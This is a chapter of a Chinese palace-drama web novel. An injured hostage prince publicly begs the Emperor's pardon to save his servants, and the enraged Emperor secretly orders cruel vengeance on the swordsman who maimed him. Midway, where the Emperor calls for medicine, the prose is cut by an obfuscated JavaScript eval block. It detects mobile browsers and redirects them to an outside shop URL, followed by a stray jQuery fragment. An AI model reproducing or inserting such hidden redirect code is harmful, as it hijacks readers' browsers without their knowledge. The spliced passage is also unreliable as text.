第七章请罪
宇文戎的目光掠过案头摆放的《孝经》与《贞观政要》，又看看自己微微颤抖的右手腕。旧伤处因昨日勉强舞剑已隐隐发热，筋络深处传来熟悉的、警告般的抽痛。
理智的声音冰冷而清晰：决不能再动腕力。
然而视线下移，满殿宫人无声跪伏，额头紧贴冰冷的地砖，身形因恐惧而僵硬。空气里弥漫着一种濒死的窒息。
九五之尊的陛下，最晓得如何打磨重塑他。
入住德泽殿后，晨起他碰了碰旧衣，午后顺手揉了帕子，晚膳时略过一道甜腻糕点——皆是无心。
随即，捧衣的宫女、备水的太监、呈菜的膳役，依次被拖出杖责、罚跪、申饬。罪名整齐划一：“服侍不周，未尽责规劝。”
皮肉击打声与压抑呜咽，成了新规矩的注脚。
他不惧靖王的鞭子，那痛直接，也能忍耐。却无法承受旁人因他一丝旧习、一点偏好，便血肉模糊。
从那以后，他晨起展臂，任人穿戴；举箸每盘皆沾；行步缓急合度。边塞带来的率性被迅速磨平，嵌进“王侯公子”的模子里，严丝合缝。
梁帝甚至无需训诫。规矩立在那里，代价悬于旁人身上，便足以让他仪态端方，无可挑剔。
笔，终究还是提了起来。紫毫吸饱了墨，悬于纸上，重若千钧。
他写得很慢，每一笔都用尽心神去控制那不听使唤的右手。起初尚能维持框架，但疼痛如附骨之疽，迅速侵蚀指尖的稳定。横不平，竖不直，笔画虚浮颤抖，墨色时浓时淡。他咬紧牙关，额角渗出细密的冷汗，滴在纸上，氤开一小团湿晕。
时间在笔尖与疼痛的拉锯中缓慢爬行。更漏声滴滴答答，敲打在死寂的殿内，也敲打在每个人紧绷的神经上。
紫宸殿，梁帝御案前
呈上的抄写纸张铺开。梁帝目光扫过，眉头几不可察地蹙起。
这字……
记忆倏然被拽回多年前。小小的孩童被他圈在怀里，手握着小狼毫，他则握着那只小手，一笔一划地教：“横要平，竖要直，戎儿看，这样起锋……”
那时的字虽稚嫩，但架构间已隐约可见风骨，尤其是起笔收锋处那股子藏不住的劲道，连太傅都曾捻须笑言：“小王爷笔意，竟肖似陛下。”
如今纸上的字，形貌仍在，可筋骨全无。笔划虚浮无力，结构松散，墨迹犹豫滞涩，全然是心浮气躁、敷衍了事的模样。
梁帝指尖在那些虚弱的笔画上轻轻划过，眼中掠过一丝复杂难辨的情绪。这孩子，长大了，也……更不驯了。还是那般跳脱任性，耐心有限。记得他幼时做功课，常常规规矩矩写不满一张，便寻了借口掷笔偷溜。最无奈时，自己也曾屏退左右，就着深夜孤灯，对着那尚显稚嫩的字迹，无奈地、一笔一划地，替他补全。
这么多年过去了。
他合上纸张，未作点评，只淡淡道：“德泽殿宫人，伺候笔墨不周，各罚月俸一月。告诉戎儿，既静不下心，便用馆阁体抄罢，磨磨性子。”
德泽殿，更深的夜
馆阁体。
三字如冰锥，刺入宇文戎耳中。此体方正峻刻，最耗腕力，于他此刻不啻于酷刑。
右腕的疼痛已从尖锐的针刺，转为一种沉闷的、持续不断的钝痛，深嵌在骨缝里，随着每一次悬腕提笔，筋络便发出不堪重负的呻吟。写到后来，整只右手不受控制地微微痉挛。
他停下笔，面无表情地用左手死死握住右腕上方，指节因用力而泛白，以一种近乎残忍的固定姿态，压制住颤抖，继续运笔。
每一划，都像在刀尖上行走。
完成时，天边已泛出蟹壳青。
紫宸殿，再次呈阅
梁帝展开新送来的馆阁体抄卷。字迹极端工整，横平竖直，挑不出一丝错处，却僵死板硬，毫无生气，甚至比之前的字更显出一种……刻意控制的、冰冷的绝望。
他冷哼一声，将纸掷于一旁，依旧未置一词。
旨意却已传到德泽殿：“宫人侍奉不力，致使功课如此，严加训斥！若再有不周，统统杖毙！”
德泽殿，最后一夜
宇文戎的右手腕已红肿不堪，皮下淤血泛着青紫，轻轻一碰便痛彻心扉。他默不作声地取了伤药，自行草草涂抹，用干净布条缠紧。
然后，他重新坐回案前，提笔。
这一次，笔下的字迹彻底失控，歪斜扭曲，不成字形。墨团污了纸张，笔画抖如风中残叶。
掌灯太监面无人色，研墨宫女的手抖得几乎握不住墨锭。殿外值夜的宫女，终于抑制不住，发出细微的、绝望的呜咽，又立刻死死咬住嘴唇。
这呜咽声像一根针，刺破了宇文戎最后强撑的平静。
他抬眼，望向窗外。东方天际，已透出极淡的、属于卯时的灰白。
更漏将尽。
“当啷”一声，笔从他彻底脱力的指间滑落，滚在案上，拖出一道狼狈的墨痕。
宇文戎看着那墨痕，又看了看自己肿痛不堪、再也无法握笔的右手，缓缓站起身。
“更衣。”
他的声音因长时间的沉默与痛楚而沙哑，却异常清晰坚定，回荡在死寂的殿中：
“我要向陛下，免冠请罪。”
课业也好，惩戒也罢，甚至这身伤病，他都可一力承担。
但那些跪了满地、因他这残破手腕而命悬一线的宫人……
他总得，为他们搏一线生机。
哪怕是以他最不堪的伤痕，去直面帝王最莫测的天威。
褪去象征宗室子弟的常服玉冠，仅着一袭毫无纹饰的素白深衣，长发以一根最简单不过的木簪束起——这便是“免冠待罪”之仪，是最极致的请罪姿态。
当宇文戎这身装扮出现在通往紫宸殿的宫道上时，原本低声寒暄、整齐划一的队伍骤然一静。所有目光，惊愕、探究、讥诮、不解，如同无数细针，从四面八方投射而来。裕王刘戍眼神微闪，嘴角似乎弯了弯；其他几位郡王世子则交换着意味深长的眼神。
宇文戎对这一切视而不见。他挺直背脊，一步步走到紫宸殿前汉白玉铺就的宽阔丹陛之下，撩起衣摆，端端正正，双膝跪地。冰冷的石面寒意瞬间穿透衣料，侵入骨髓。
晨风拂过他未戴冠的额发，露出光洁的额头和过分苍白的脸。他抬起头，目光清正，望向那紧闭的、象征着无上权威的殿门，朗声开口。声音不高，却因四周死寂而清晰地传遍每一个角落：
“陛下布置的课业，臣无法完成，并非心存不敬，有意怠惰。实乃旧伤沉疴，腕力难继，笔墨不听驱使。臣力竭于此，恳请陛下……体恤明鉴。”
字字清晰，不卑不亢。他将“伤”与“力竭”摆在明处，将“未完成”的责任归于不可抗拒的躯体残损，而非意志的懈怠。这是请罪，更是陈述一个无法辩驳的事实。
太子刘成原本站在队列前端，闻声猛地转身，疾步走到宇文戎面前。他一眼便看到了宇文戎垂在身侧、缠着白布厚厚肿起的右手腕，令他瞳孔骤缩。
“戎儿！”太子蹲下身，想碰又不敢碰，声音带着难以置信的惊怒，“你的手……怎会如此？”
宇文戎微微摇头，示意他不必多说。
就在这时，“吱呀”一声，沉重的紫宸殿殿门，缓缓向内打开。怀恩手持拂尘，站在门内阴影与门外晨光的交界处，目光复杂地扫过跪地的白衣身影，尖细的嗓音穿透凝滞的空气：
“陛下有旨，宣——靖王府公子戎，觐见。”
略一停顿，怀恩的声音再次响起，又补充道：
“宣，太医。”
旨意落下，殿前一片压抑的哗然。宣见是意料之中，但紧接着宣太医……这其中的意味，让许多人暗自抽气。
宇文戎垂下眼帘，掩去眸底一丝几不可察的波动。他撑着地面，想要起身，膝部的麻木和手腕的剧痛却让他动作一滞。太子立刻伸手，稳稳地扶住了他的手臂。
在无数道目光的聚焦下，那一袭白衣的少年，在储君的搀扶下，一步步踏上丹陛，走向那洞开的、幽深似巨兽之口的紫宸殿门。
晨光将他们的影子拉得很长，纠缠在一起，投向身后那片寂静而各怀心思的人群。殿门在身后缓缓合拢，隔绝了所有窥探的视线，也将一场关于伤痛、尊严、权力与仁慈的较量，关入了帝国心脏最隐秘的殿堂之中。
暖阁内，龙涎香的暖意与药布透出的清苦气息无声交织。
宇文戎跪在御阶之下，背脊挺直，素白衣袍在满室金玉奢华间单薄得刺眼。他垂着眼，等待着预想中的质询——或许是关于“课业怠惰”的冷淡敲打，或许是“旧伤为何不早言”的责备，甚至可能是几分程式化的“体恤”。
然而，御座之上是一片反常的寂静。
梁帝的目光，自他踏入殿门起，便锁在他身上，尤其在看到他垂在身侧、即便极力掩饰仍显僵硬的右手时，那目光陡然变得沉凝。
“手，伸出来。”梁帝的声音响起，比平日更低沉，辨不出情绪。
宇文戎依言，将裹着药布的右手微微抬起。太子在一旁欲言又止，面露焦色。
梁帝起身，走下御阶。明黄袍角拂过光洁的金砖，停在了宇文戎面前。他没有让宇文戎起身，而是缓缓俯身，伸出了手——那并非搀扶，而是径直握住了宇文戎的手腕。
动作看似平稳，力道却不容挣脱。指尖精准地按在了药布边缘，那下面正是旧伤最狰狞处。
宇文戎指尖几不可察地一颤，腕骨深处传来熟悉的钝痛，但他面色未改。
梁帝的目光落在那截手腕上，隔着药布，他似乎也能感知到其下错位的骨骼与纠结的筋络。他沉默地看了片刻，那沉默里蓄积着某种山雨欲来的压力。
然后，他做了一件让宇文戎乃至一旁太子都心头剧震的事——他竟用另一只手，开始极缓、却异常坚定地，解开那缠裹紧密的药布。
“陛下……”宇文戎下意识想缩手，却被那铁钳般的手牢牢握住。
“别动。”梁帝只吐出两个字，声音不高，却带着不容违逆的威压。
药布一层层褪下，如同揭开一道被时光尘封的残酷封印。当最后一道棉纱取下，那手腕彻底暴露在暖阁明亮的烛火与透过窗棂的晨光下时——
空气仿佛瞬间冻结。
那一道疤痕几乎横贯腕脉，皮肉微微凹陷，颜色深重，即便已时隔两年，依旧狰狞可怖，无声诉说着当年那一剑的狠绝与毁灭性。此刻因过度用力而红肿，更显触目惊心。
梁帝的呼吸，在看清那伤痕的刹那，几不可闻地滞住了。
他见过无数伤口，战场上的、刑狱里的，但没有一道，如此刻这般，以如此清晰、如此永久的方式，烙印在一个他视若己出的晚辈身上，烙印在这只本该执剑挽弓、挥洒意气的手上。
他维持着俯身的姿势，握着那截伤腕的手指，因用力而骨节泛白，却又在极力控制着颤抖。暖阁内死寂一片，怀恩早已深深垂首，太子屏住了呼吸。
良久，梁帝缓缓抬起头。他的脸色并未涨红，眼神却像是暴风雪前的海面，看似平静，底下却翻涌着能将一切吞噬的黑色怒潮。他盯着宇文戎低垂的眼帘，一字一句，从齿缝间挤出，声音不再掩饰，是宇文戎从未听过的、近乎切齿的、毫不掩饰的震怒：
“谁、伤、的、你？”
“说。” 他握着伤腕的力道收紧，目光如淬火的利刃，直刺宇文戎眼底，“是、谁？！”
这完全超出了宇文戎的预想。他设想过君王的诸多反应，唯独没想过是这般赤裸、激烈、仿佛被触犯逆鳞般的暴怒。那怒意如此真实，甚至带着一丝……失态。他一时有些无措，定了定神，才维持着平稳的语调回答：
“回陛下，是……臣昔年与人比剑，学艺不精，所致。”
“比剑？”梁帝的声音陡然拔高，怒极反笑，“是什么样的比试，能让人下此毒手，毁你经脉，断你前途？！” 他脑海里，这些年关于宇文戎的暗报如浮光掠影飞速闪过，蜀山、旧伤、叛徒……几个关键词瞬间串联，一个名字呼之欲出。他眼中寒光暴涨，几乎是笃定地低吼：
“蜀山叛徒，剑锋离？”
宇文戎心头一震。他知道瞒不过，但没想到梁帝反应如此之快，怒意如此之盛。他垂下眼帘，声音更低，带着刻意的淡化与回避：“是臣之过。陛下……勿要迁怒他人。”
“迁怒？”梁帝猛地松开了他的手腕，直起身，居高临下地看着他，胸膛因激怒而微微起伏。他扯了扯嘴角，那弧度冰冷而骇人，“朕不是昏君，不会无故迁怒。”
恰在此时，太医奉命匆匆赶至。梁帝强压下翻腾的怒火，侧身让开，厉声道：“仔细诊！朕要听最确实的伤情！”
太医战战兢兢上前，一番望闻问切，尤其是检视那旧创后，汗如雨下：“陛下……公子此伤，确系两年前利剑所伤，当时救治极为高明，筋骨勉强续接。然则……后续未能得到彻底静养，似有连番奔波劳顿，更兼近日腕力过度耗损，以致旧伤复发，郁结深沉。如今……如今腕部经脉滞涩，筋骨脆弱，欲恢复如初，恐……难矣。” 最后几字，太医说得极其艰难。
“难矣？”梁帝重复着这两个字，眼神更暗。他看了一眼宇文戎过分平静的侧脸，又看了看那刺目的伤痕，深吸一口气，声音恢复了帝王的决断，却带着不容置疑的急切：“用最好的药！太医院没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048621|194767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，就去内库找，去天下寻！不惜代价，不遗余力，给朕治！”
“臣……遵旨！必竭尽全力！”太医慌忙叩首。
待太医退至一旁斟酌药方，梁帝重新将目光投向宇文戎。那眼中的震怒未消，却已沉淀为更为复杂的暗涌。他再次看了看那已重新被太医小心翼翼包扎的伤处，沉默片刻，缓缓开口，声音带着一种不容反驳的强制与罕见的、近乎疲惫的温和：
“从今日起，所有课业，全免。给朕好好待在德泽殿，静心养伤。万事不必亲为，自有宫人伺候。”他顿了顿，似乎想说什么保证的话，最终吐出的却是：“手伤，会好的。” 语气与其说是承诺，不如说是在说服自己。
接着，他上前一步，更近地看着宇文戎的眼睛，用一种宇文戎从未听过的、混合着沉重、痛惜与无论如何都会接纳的口吻，低声道：“即使……好不了，也没关系。还有舅舅在。舅舅会护你周全。”
“舅舅”二字，他说得极重，仿佛在强调一种超越君臣的血缘责任与庇护。这话不再是帝王对臣子的恩赏，而是长辈对受伤晚辈最直接的承诺。
言罢，不等宇文戎反应，他竟扬声吩咐：“怀恩，去将朕那件玄狐皮里、紫貂锋毛的大氅取来。”
内侍很快捧来一件华贵厚重、象征极高恩宠的裘氅。梁帝亲手接过，在宇文戎愕然的目光中，抖开，不由分说地披在了他单薄的素白深衣之外。裘氅带着帝王体温和浓郁的龙涎香气，瞬间将宇文戎包裹，沉重而温暖。
宇文戎本能地想要避让拒绝：“陛下，臣……”
“穿着。”梁帝只说了两个字，眼神一扫，那里面尚未完全褪去的威慑与不容置疑，让宇文戎将剩余的话咽了回去，只能僵直地接受这份过于厚重且显眼的“恩赐”。
“太子，”梁帝转向刘成，语气恢复了君主应有的分量，“你亲自送戎儿回德泽殿。务必安稳送至。”
“儿臣遵命！”太子立刻应道，上前稳稳扶住宇文戎的手臂。
于是，在无数尚未散去的王公贵族复杂难言的目光中，刚刚免冠请罪、一身素白的质子宇文戎，身披帝王御用大氅，在当朝储君的亲自搀扶下，缓缓步下丹陛，穿过宫道，走向德泽殿方向。这一幕，比方才的请罪更令人震动，也更耐人寻味。
待那身影消失在宫墙转角，梁帝脸上最后一丝外露的情绪彻底收敛。他转身回殿，步履沉缓。
暖阁内，只剩下他与怀恩。
梁帝走到窗前，望着德泽殿的方向，背对着怀恩，良久不语。就在怀恩以为陛下不会再开口时，一道冰冷至极、毫无情绪波动的声音传来，却比方才的震怒更让怀恩胆寒：
“怀恩。”
“奴才在。”
“戎儿手上这么重的旧伤，非一日之寒。”梁帝的声音平静得像在讨论天气，“疼痛发作，腕骨变形，提笔困难……这些，德泽殿日常服侍的宫人，是瞎了，还是哑了？”
怀恩的背脊弯得更低，额角瞬间渗出冷汗：“奴才……奴才失察！定是他们懈怠疏忽，未曾留神……”
“未曾留神？”梁帝打断他，声音依旧平稳，却每个字都像冰珠砸在地上，“是不曾留神，还是……看见了，却觉得无关紧要，不必上报？或是觉得，质子伤痛，算不得什么要紧事，不必拿这等‘琐碎’来扰朕清听？”
怀恩噗通跪倒：“奴才即刻去查……”
“查？”梁帝打断他，缓缓转过身，目光如古井寒潭，“不必查了。全部撤换。你亲自去挑新人，要手脚干净、心思钝、眼睛必须亮的。戎儿再咳一声，手再抖一下，朕要立刻知道。”
“奴才明白！”
梁帝踱回御案后，提起朱笔，却未蘸墨，只是用笔尖虚点着空气，仿佛在勾勒某个人的轮廓，语气轻描淡写，却字字浸着杀意：
“还有，传朕口谕给金吾卫，动用暗线，不惜一切代价，秘密缉拿蜀山叛徒剑锋离。”
他抬起眼，看向虚空，那里仿佛映出那道狰狞的伤疤。
“人获之后，不必上报。碎其持剑之手，废其全身经脉，喂药吊命。化名‘离奴’，打入蜀山官矿最底层，熔其佩剑为镣，永世锁于矿洞深处，为奴至死。速办。”
“此事务必干净，斩断一切线索。” 梁帝的目光终于落回怀恩惨白的脸上，最后一句，轻如耳语，却重如泰山：
“若有一字涉及宫中，或让戎儿听闻半点风声……尔等，自绝。”
“……奴才，遵旨。” 怀恩以头触地，浑身已被冷汗浸透。
梁帝不再看他，执笔蘸墨，开始批阅奏章，仿佛刚才那番关乎残忍报复与宫廷清洗的指令，不过是日常政务中最寻常的一件。
只有那笔下力透纸背、近乎凌厉的笔锋，泄露了帝王内心深处那无法平息、亦不容显露的滔天怒浪与冰冷决心。
那些被勒令即刻调离的宫人，在踏出德泽殿门廊的前一刻，脚步凝滞。
为首的掌事老太监回身，望向公子寝室那扇紧闭的、再无他们位置的窗棂。晨光熹微，照着他沟壑纵横的脸。他整了整本已平整的衣襟，忽然端肃了神色，后退两步，对着那窗口，缓缓地、极重地跪了下去。
身后数人，无声跟随，齐齐跪倒。
他们都是在这宫里熬了多年的人精，或许麻木，或许势利，但正因如此，他们才比谁都清楚：
一个武将之子，一个出身靖王府、本该凭军功立世的公子，失去右手的功能意味着什么。
那意味着前程尽毁，意味着在崇尚武力的北境价值体系中沦为半废之人，意味着最大的弱点与耻辱。这样的伤，本该是拼死也要隐瞒的秘密，尤其是在这步步惊心的宫廷，尤其是在猜忌深重的帝王面前。
可他们的公子，这位他们奉命监视、时刻提防其“异动”、也时刻惧怕因其“不规”而遭连累的质子……
竟为了他们这些微贱之人的一线生机，亲手撕开了这道最致命的伤疤。
他将自己的无力与残缺，公开展露于众人之前。
他将“过错”归于己身，坦承“力竭”。
他免冠素衣，直跪于丹陛之下，直面可能的一切雷霆之怒。
不为抗争，不为诉冤，仅仅是因为——不忍他们被杖毙。
宫人们的额头触在冰冷石地上，沉闷而郑重的三记叩首。
每一叩，都是对昨日惊魂的余颤，是对那道公开展露的惨烈伤疤的无声祭奠，更是对那位他们从未真心侍奉、却愿为他们舍了最大尊严的公子，最卑微也最干净的——
谢罪，与告别。
然后，他们起身，头也不回地走入宫廷深不见底的甬道，带着一个永远不能言说的秘密，和一份沉入骨髓的感激。